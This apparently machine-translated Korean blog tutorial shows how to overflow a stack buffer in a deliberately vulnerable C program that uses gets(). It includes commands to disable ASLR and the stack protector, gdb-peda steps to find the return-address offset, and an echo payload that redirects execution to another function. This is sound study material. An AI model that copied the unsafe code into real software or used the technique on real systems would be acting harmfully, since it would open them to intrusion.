버퍼 오버플로우를 발생시켜 임의의 함수를 실행한다.

3882 단어 CCTF리눅스

버퍼 오버플로우를 발생시켜 임의의 함수를 실행한다.



C 언어의 프로그램으로 버퍼 오버플로우를 일으켜 리턴 어드레스를 재기록합니다. main 함수로부터 다른 함수를 호출하는 방법을 정리한 기사가 적었기 때문에 메모 정도에 남깁니다.

실행 환경
CentOS 6.10
그놈 2.26.2

gdb-peda를 사용하므로 거기의 설치는 끝난 것으로 합니다.
만약 설치하지 않은 분은 이쪽으로부터 부탁합니다
gdbpeda 초입문

우선 버퍼 오버하고 싶은 프로그램을 준비합니다.


#include <stdio.h> 
#include <stdlib.h> 

int main(void){ 
 char first[] = "!!Hello World!!"; 
 char buf[16]; 


 puts(">>"); 
 gets(buf); 
 puts(first); 
 puts("that \'s All Fork!"); 
 return EXIT_SUCCESS; 
} 
int sub(){ 
 puts("Something wrong"); 
} 

컴파일



먼저 ASLR을 끄기
sudo sysctl -w kernel.randomize_va_space=0

컴파일

PIE, 스택 프로텍터를 비활성화하고 컴파일
gcc -o HelloWorld -O0 -g -fno-stack-protector HelloWorld.c -fno-PIE -fno-pie -fPIC

리턴 주소까지의 오프셋을 구한다



우선 gdb 시작
$ gdb HelooWorld
랜덤 문자열 만들기
$ (gdb) pattern_create 50
실행
$ (gdb) r

조금 전에 임의의 문자열을 입력합니다.



이렇게하면 버퍼 오버 플로우가 발생하고 중지됩니다.


여기 RSP 주소 문자열을 메모

오프셋 문자열 검색


$ (gdb)patto "ここにRSPの文字列"

이제 주소 오프셋이 필요합니다.
이번에는 40개인 것으로 나타났다.

다음으로 실행하고 싶은 주소를 조사한다.



주소의 위치를 ​​조사하기 전에, 다시 gdb로 버퍼 오버 플로우의 모습을 확인한다.

실행
$ (gdb) r

2. 적당한 문자열을 넣어 버퍼 오버 플로우

그런 다음 disass 명령에 실행할 함수의 이름을 입력합니다. 여기 sub입니다.
$ (gdb) disass sub


실행하면 이런 느낌

여기서 맨 위 주소를 메모.

주소를 이전에 구한 오프셋의 값만 어긋나 입력한다.



16진수로 입력합니다.
echo 명령을 사용하면 편리합니다.

이번의 경우는 이하가 됩니다.
echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xea\x46\x55\x55\x55\x55\x00\x00' | ./HelooWorld

결과



이런 식으로 sub() 함수가 호출되고 있는 것을 알 수 있습니다!


감상



이런 느낌으로 간단하지만 동작의 예를 써 보았습니다.
환경에 따라서는 꽤 잘 되지 않는 일도 있었으므로 시행착오가 중요하다고 생각했습니다. 그 때이 기사가 조금이라도 도움이되면 다행입니다.

좋은 웹페이지 즐겨찾기